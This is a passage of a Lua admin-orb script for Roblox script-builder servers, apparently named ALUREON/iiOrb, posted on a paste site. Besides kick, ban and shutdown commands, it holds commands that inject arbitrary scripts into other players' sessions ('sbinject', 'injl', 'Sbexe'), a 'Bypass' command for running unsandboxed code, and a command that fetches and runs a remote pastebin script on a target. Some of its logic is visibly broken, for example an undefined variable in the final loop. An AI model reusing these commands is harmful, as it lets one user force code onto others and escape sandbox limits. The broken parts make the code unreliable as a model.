  839. local Prefix = iiOrb.Chatted.Settings.Prefix
  840. local Suffix = iiOrb.Chatted.Settings.Suffix
  841. local sub = string.sub
  842. local lower = string.lower
  843. if sub(msg,1,3)=='/e 'then
  844. msg = sub(msg,4)
  845. end
  846. if iiOrb.Admins[plr.Name]then
  847. for index,data in pairs(Commands)do
  848. if Prefix..data.Usage..Suffix == sub(lower(msg),1,string.len(Prefix)+string.len(data.Usage)+string.len(Suffix))then
  849. if iiOrb.Admins[plr.Name].Level >= data.Level then
  850. local y,n = ypcall(function()
  851. data.Func(sub(msg,string.len(Prefix)+string.len(data.Usage)+string.len(Suffix)+1), GetPlayer, plr)
  852. end)
  853. if not y then
  854. print_to(plr,"[Error]: a command related error has occured : "..n)
  855. end
  856. else
  857. print_to(plr,"[Error]: Your access level is to low for that command")
  858. end
  859. end
  860. end
  861. end
  862. end local Chatted = API.Chatted
  863.  
  864. function API.BootCommands()--// Function that calls and injects all commands
  865.  
  866. AddCommand("Test","tst","TEST TEST",1,function(Message,Collect_Players,Player)
  867. print_to(Player,"[ALUREON]: TEST")
  868. end)
  869.  
  870. AddCommand("Commands","cmds","Gets commands",1,function(Message,Collect_Players,Player)
  871. print_to(Player,"Got Commands")
  872. print_to(Player,"---------------------------------------------------------------")
  873. for index,data in pairs(iiOrb.Chatted.Commands)do
  874. print_to(Player,"["..data.Name.."]-Level["..data.Level.."]-Usage:[\""..data.Usage.."\"]-Desc:["..data.Desc.."]")
  875. print_to(Player,"---------------------------------------------------------------")
  876. end
  877. end)
  878.  
  879. AddCommand("Admins","admins","Gets admins",1,function(Message,Collect_Players,Player)
  880. print_to(Player,"Got admins")
  881. GetAdmins(Player)
  882. end)
  883.  
  884. AddCommand("GetLogs","gl","Gets command logs",4,function(Message,Collect_Players,Player)
  885. GetLogs(Player)
  886. end)
  887.  
  888. AddCommand('Kick','kick','Kicks a player from the server',3,function(Message, Collect_Players, Player)
  889. local Split = GetSplit(Message)
  890. local Plrs
  891. local Reason
  892. if Split == nil then
  893. Plrs = Collect_Players(Message,Player)
  894. Reason = nil
  895. else
  896. Plrs = Collect_Players(Message:sub(1,Split-1),Player)
  897. Reason = Message:sub(Split+1)
  898. end
  899. if #Plrs>0 then
  900. for _,Plr in pairs(Plrs) do
  901. if Reason == nil or Reason == "" then Reason = "You have been kicked from this server"end
  902. Plr:Kick(Reason)
  903. end
  904. end
  905. end)
  906.  
  907. AddCommand('Ban','ban','Bans a player from the server', 3, function(Message, Collect_Players, Player)
  908. local Split = GetSplit(Message)
  909. local Plrs
  910. local Reason
  911. if Split == nil then
  912. Plrs = Collect_Players(Message,Player)
  913. Reason = nil
  914. else
  915. Plrs = Collect_Players(Message:sub(1,Split-1),Player)
  916. Reason = tostring(Message:sub(Split+1))
  917. end
  918. if #Plrs>0 then
  919. for _,Plr in pairs(Plrs) do
  920. if Reason == nil or Reason == "" then Reason = tostring("Being Banned") end
  921. --table.insert(iiOrb.Banned,tostring(Plr.Name)==tostring(Reason))
  922. iiOrb.Banned[Plr.Name]=tostring(Reason)
  923. Plr:Kick("You have been banned for "..tostring(Reason))
  924. end
  925. end
  926. end)
  927.  
  928. AddCommand('Unban','unban','Unbans a player', 3, function(Message, Collect_Players, Player)
  929. for i,v in pairs(iiOrb.Banned)do
  930. if string.sub(string.lower(i),1,#Message)==string.lower(Message)then
  931. iiOrb.Banned[i]=nil
  932. end
  933. end
  934. end)
  935.  
  936. AddCommand('Banned','banned','Shows banned table',2,function(Message, Collect_Players, Player)
  937. print_to(Player,"Got Banned")
  938. print_to(Player,"--------------------------------")
  939. for i,v in pairs(iiOrb.Banned)do
  940. print_to(Player,"["..tostring(i).."]: "..tostring(v))
  941. print_to(Player,"--------------------------------")
  942. end
  943. end)
  944.  
  945. AddCommand('Sbexe',"sbexe","Sbexe to a Player",3,function(Message, Collect_Players, Player)
  946. local Split = GetSplit(Message)
  947. local Plrs = Collect_Players(Message:sub(1,Split-1),Player)
  948. local Command = Message:sub(Split+1)
  949. if #Plrs>0 then
  950. for index,data in pairs(Plrs)do
  951. Sbexe(Command,data)--afk
  952. end
  953. end
  954. end)
  955.  
  956. AddCommand('Loader','injl','Injects iiOrb loader to a player',3,function(Message, Collect_Players, Player)
  957. local Plrs = Collect_Players(Message,Player)
  958. if #Plrs > 0 then
  959. for i,v in pairs(Plrs)do
  960. print_to(v,"[ALUREON]: has issued a loader to you")
  961. InjectLoader(v)
  962. end
  963. end
  964. end)
  965.  
  966. AddCommand('Theme','theme','Changes Orb theme',2,function(Message, Collect_Players, Player)
  967. ChangeTheme(Player,Message)
  968. end)
  969.  
  970. AddCommand('Follow','fol','Makes orb follow a target or your self',2,function(Message, Collect_Players, Player)
  971. if #Message>0 then
  972. local Plrs = Collect_Players(Message,Player)
  973. if #Plrs >1 then print_to(Player,"[Error]: Only one player allowed") return end
  974. for index,data in pairs(Plrs)do
  975. Follow(true,data.Name)
  976. end
  977. else
  978. Follow(true,Player.Name)
  979. end
  980. end)
  981.  
  982. AddCommand('Nofollow','nofol','Sets the or to no follow',2,function(Message, Collect_Players, Player)
  983. Follow(false,"")
  984. end)
  985.  
  986. AddCommand('Shutdown','sd','Shuts down the server',3,function(Message, Collect_Players, Player)
  987. for i,v in pairs(game:GetService('Players'):children())do
  988. v:Kick('This server has shutdown')
  989. end
  990. end)
  991. AddCommand('Access Level','setl','Sets the access level of a plr',1,function(Message, Collect_Players, Player)
  992. local Split = GetSplit(Message)
  993. local Plrs = Collect_Players(Message:sub(1,Split-1),Player)
  994. local Level = tonumber(Message:sub(Split+1))
  995. if #Plrs>0 then
  996. for index,data in pairs(Plrs)do
  997. if Level > iiOrb.Admins[data.Name].Level and iiOrb.Admins[data.Name].Level >= iiOrb.Admins[Player.Name].Level then
  998. print_to(data,"[Error]: You cant set your level higher then your own")
  999. else
  1000. print("[ALUREON]: Has set "..data.Name.."'s Access level to ["..Level.."]")
  1001. iiOrb.Admins[data.Name].Level = tonumber(Level)
  1002. end
  1003. end
  1004. end
  1005. end)
  1006.  
  1007. AddCommand('Bypass','bypass','Loads a _G function giving a new env',3,function(Message, Collect_Players, Player)
  1008. local newEnv = getfenv(1)
  1009. newEnv.script = nil
  1010. newEnv.warn = print
  1011. newEnv.print = print
  1012. newEnv.print_to = print_to
  1013. newEnv.broadcast = broadcast
  1014. rawset(_G,"Bypass",function()
  1015. return newEnv
  1016. end)
  1017. broadcast('[ALUREON]: Has Loaded non-local bypass use setfenv(1,_G.Bypass()) to run unsandboxed code')
  1018. end)
  1019. AddCommand('Kill player','kp','Kills a player',2,function(Message,Player)
  1020. workspace:FindFirstChild(Message).Head:Explode()
  1021. end)
  1022. AddCommand('Lock','lock','Sets the status of Scripting lock',3,function(Message, Collect_Players, Player)
  1023. if #Message>0 then
  1024. if Message:lower() == 'true' then
  1025. if iiOrb.Blocker.LocalBlock == true and iiOrb.Blocker.LocalBlock == true then
  1026. print_to(Player,"[ALUREON]: Scripting is already locked")
  1027. else
  1028. iiOrb.Blocker.LocalBlock = true
  1029. iiOrb.Blocker.GlobalBlock = true
  1030. print('[ALUREON]: Is locking Scripting')
  1031. end
  1032. elseif Message:lower()=='false' then
  1033. if iiOrb.Blocker.LocalBlock == false and iiOrb.Blocker.LocalBlock == false then
  1034. print_to(Player,"[ALUREON]: Scripting is already unlocked")
  1035. else
  1036. iiOrb.Blocker.LocalBlock = false
  1037. iiOrb.Blocker.GlobalBlock = false
  1038. print('[ALUREON]: Is unlocking Scripting')
  1039. end
  1040. end
  1041. end
  1042. end)
  1043. AddCommand('Set Speed','spd','Sets speed',3,function(Message, Collect_Players, Player)
  1044. local n = tonumber(Message)
  1045. if type(n) == 'number' then
  1046. Settings.Rotation.Speed = n
  1047. end
  1048. end)
  1049. AddCommand('Set bounce','setb','Sets the bounce value of iiOrb.',3,function(Message,Player)
  1050. local bouncev = tonumber(Message)
  1051. if type(bouncev) == 'number' then
  1052. Settings.Rotation.Bounce = tonumber(Message)
  1053. end
  1054. end)
  1055.  
  1056.  
  1057. AddCommand('Hide','hide','hides or shows the orb',2,function(Message, Collect_Players, Player)
  1058. if #Message>0 then
  1059. if Message:lower() == 'true'then
  1060. ChangeTheme(Player,'hidden')
  1061. elseif Message:lower()== 'false' then
  1062. ChangeTheme(Player,'normal')
  1063. end
  1064. end
  1065. end)
  1066.  
  1067. AddCommand('Get Saves','gs','Get saves',4,function(Message, Collect_Players, Player)
  1068. GetSavedScripts(Player)
  1069. end)
  1070.  
  1071. --[[ AddCommand('Get Database','getd','Gets data from database',5,function(Message, Collect_Players, Player)
  1072. --[[local Data = rbxdb:GetAllData()
  1073. if type(Data)=='table'then
  1074. for i,v in pairs(Data)do wait(.1)
  1075. print_to(Player,tostring(i)..":"..tostring(v))
  1076. end
  1077. end
  1078. end)]]--]]--
  1079.  
  1080. AddCommand('Console','sc','Gives Server Console',5,function(Message, Collect_Players, Player)
  1081. GiveServerConsole(Player)
  1082. end)
  1083. AddCommand('Script Inject','sbinject','Injects a script to all players (Say the script like ;sbinject-game.Players.LocalPlayer:Remove()', 5, function(Message, Collect_Players, Player)
  1084.  
  1085.  
  1086. local children = game.Players:GetChildren()
  1087. for i = 1, #children do
  1088. Sbexe("remove/iiOrbEXE",children[i].Name)
  1089. wait()
  1090. Sbexe("create/iiOrbEXE",children[i].Name)
  1091. wait()
  1092. Sbexe("edit/iiOrbEXE",children[i].Name)
  1093. wait()
  1094. Sbexe(Message,children[i].Name)
  1095. wait()
  1096. Sbexe("exit/",children[i].Name)
  1097. Sbexe("run/iiOrbEXE",children[i].Name)
  1098. Sbexe('remove/iiOrbEXE',children[i].Name)
  1099. end
  1100. end)
  1101.  
  1102. AddCommand('Get Garbage','getg','Gets an Array of Garbage Data',2,function(Message, Collect_Players, Player)
  1103. GetGarbage(Player)
  1104. end)
  1105.  
  1106.  
  1107. AddCommand('grs','grs','Gets all the running scripts',2e9,function(Message, Collect_Players, Player)
  1108. print_to(Player,"Got Running scripts")
  1109. for index, child in pairs(workspace:GetChildren()) do
  1110. --print(index, child.Name)
  1111. wait(.1)
  1112. print_to(Player,child.Name)
  1113. end
  1114. end)
  1115.  
  1116. AddCommand('Safe Exe','sexe','Executes safe code',3,function(Message, Collect_Players, Player)
  1117. if #Message > 0 then
  1118. SafeExe(Message,Player)
  1119. end
  1120. end)
  1121. AddCommand('Kill Rot','kill','Kills the orb rot if its a emergency',4,function(Message, Collect_Players, Player)
  1122. iiOrb.__STATUS = not iiOrb.__STATUS
  1123. if not game.Workspace:FindFirstChild("\5\5\5\5Solar\5\5is\5\5\5\5")then
  1124. SpawnOrb()
  1125. end
  1126. end)
  1127. AddCommand('SmoothLoad','sml','Loads some terrain [GWC Approved]',3,function(Message,Player)
  1128. if game.Players:FindFirstChild(Message) then
  1129. Sbexe([[hl/http://pastebin.com/raw.php?i=ctyyEdQp]],Message)
  1130. --Created by GuyWithACleverName
  1131. else
  1132. end end)
  1133. AddCommand('test','tst','Just a testing command',3,function(Message)
  1134. for i,v in pairs(game.Players:GetPlayers()) do
  1135. Sbexe([[print("[ALUREON] TEST WORKS! ALUREON IS GOOD."]],v)
  1136. end
  1137. end)
  1138.  
  1139.  
  1140. print("[ALUREON]: Has finished booting commands")
  1141. end local BootCommands = API.BootCommands
  1142.  
  1143. function API.Connect(plr)
  1144. if type(plr)~='userdata'then return end
  1145.  
  1146. local Allowed_YoungPlrs = {"xDarkScripter","Fuust","lnvertious","error18","GalacticParadox",}
  1147. if plr.AccountAge/365 < .5 then
  1148. for i,v in pairs(Allowed_YoungPlrs)do
  1149. if not plr.Name == v then
  1150. plr:Kick("[ALUREON]: Sorry, your ROBLOX account age is to young to join this server.")
  1151. end
  1152. end
  1153. end
  1154.  
  1155. if iiOrb.Banned[plr.Name]then Sbexe('g/ns nl ns nl ns nl ns nl',plr) plr:remove()end--Kick(iiOrb.Banned[plr.Name]) end
  1156.  
  1157. if not iiOrb.Admins[plr.Name]then
  1158. print_to(plr,"[ALUREON]: Has identifyed you as a ["..iiOrb.Levels[1].."]")
  1159. print("[ALUREON]: connect "..plr.Name.." as a ["..iiOrb.Levels[1].."]")
  1160. iiOrb.Admins[plr.Name] = {Level=1}
  1161. elseif iiOrb.Admins[plr.Name]then
  1162. print_to(plr,"[ALUREON]: Has identified you as a ["..iiOrb.Levels[iiOrb.Admins[plr.Name].Level].."]")
  1163. end
  1164. ConnectLogger(plr)
  1165. plr.Chatted:connect(function(msg)
  1166. Chatted(plr,msg)
  1167. end)
  1168. end local Connect = API.Connect
  1169.  
  1170. --// Bootstrapper functions
  1171.  
  1172. function Bootstrap:Boot()
  1173. local DeploymentID = Generate(math.random(1,50)*2/3)
  1174. --// Bootup
  1175. broadcast("[ALUREON]: Has started booting up")
  1176. SpawnOrb()
  1177. Rotate()
  1178. BootCommands()
  1179. for i,v in pairs(game:GetService('Players'):children())do
  1180. Connect(v)
  1181. end
  1182.  
  1183. game:GetService('Players').PlayerAdded:connect(function(plr)
  1184. wait(.5)
  1185. Connect(plr)
  1186. end)
  1187.  
  1188. game.Workspace.DescendantAdded:connect(function(obj)
  1189. if obj.ClassName == "Script" then
  1190. if iiOrb.Blocker.GlobalBlock == true then
  1191. obj.Disabled = true
  1192. obj:Destroy()
  1193. end
  1194. elseif obj.ClassName == "LocalScript" then
  1195. if iiOrb.Blocker.LocalBlock == true then
  1196. obj.Disabled = true
  1197. obj:Destroy()
  1198. end
  1199. end
  1200. end)
  1201. --game.DescendantAdded:connect(function(instance)
  1202. --if iiOrb.Blocker.LagBlocker== true then
  1203. --if iiOrb.LagBlockedInstances[instance.ClassName]then
  1204. --instance:Destroy()
  1205. --end
  1206. --end
  1207. --end)
  1208.  
  1209.  
  1210.  
  1211. print("[ALUREON]: Has booted successfully")
  1212. broadcast("[ALUREON]: Has deployed with ID: "..DeploymentID.."")
  1213. -- rbxdb:SetValue("[iiOrb DEPLOYMENT]",DeploymentID)
  1214. end
  1215.  
  1216. if script.ClassName == 'Script'then
  1217. if not game.Workspace:FindFirstChild("\5\5\5\5Solar\5\5is\5\5\5\5")then
  1218. local y,n = pcall(function()
  1219. iiOrb.API.Bootstrap:Boot()
  1220. end)if not y then print('{ERROR}: '..n)end
  1221. end
  1222. elseif script.ClassName == 'ModuleScript'then
  1223. return iiOrb.Api.Bootstrap:Boot()
  1224. end
  1225. ChangeTheme('alu','666')
  1226. broadcast("Welcome to Lua's Admin \n And I reall forget to credit people sometimes XD --Control22") -- dont use [[ ]] it filters \ -error18
  1227. game.Players.PlayerAdded:connect(function(plr)
  1228. Sbexe('create/RUNME',plr)
  1229. Sbexe('edit/RUNME',plr)
  1230. Sbexe([[warn'Welcome to OXsb, this was generated by Lua's Admin.']],plr)
  1231. Sbexe([[exit/]],plr)
  1232. Sbexe([[run/RUNME]],plr)
  1233. end)
  1234. for i,v in pairs(game.Players:GetPlayers'') do
  1235. Sbexe('create/RUNME',plr)
  1236. Sbexe('edit/RUNME',plr)
  1237. Sbexe([[warn'Welcome to OXsb, this was generated by ALUREON.']],plr)
  1238. Sbexe([[exit/]],plr)
  1239. Sbexe([[run/RUNME]],plr)
  1240. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement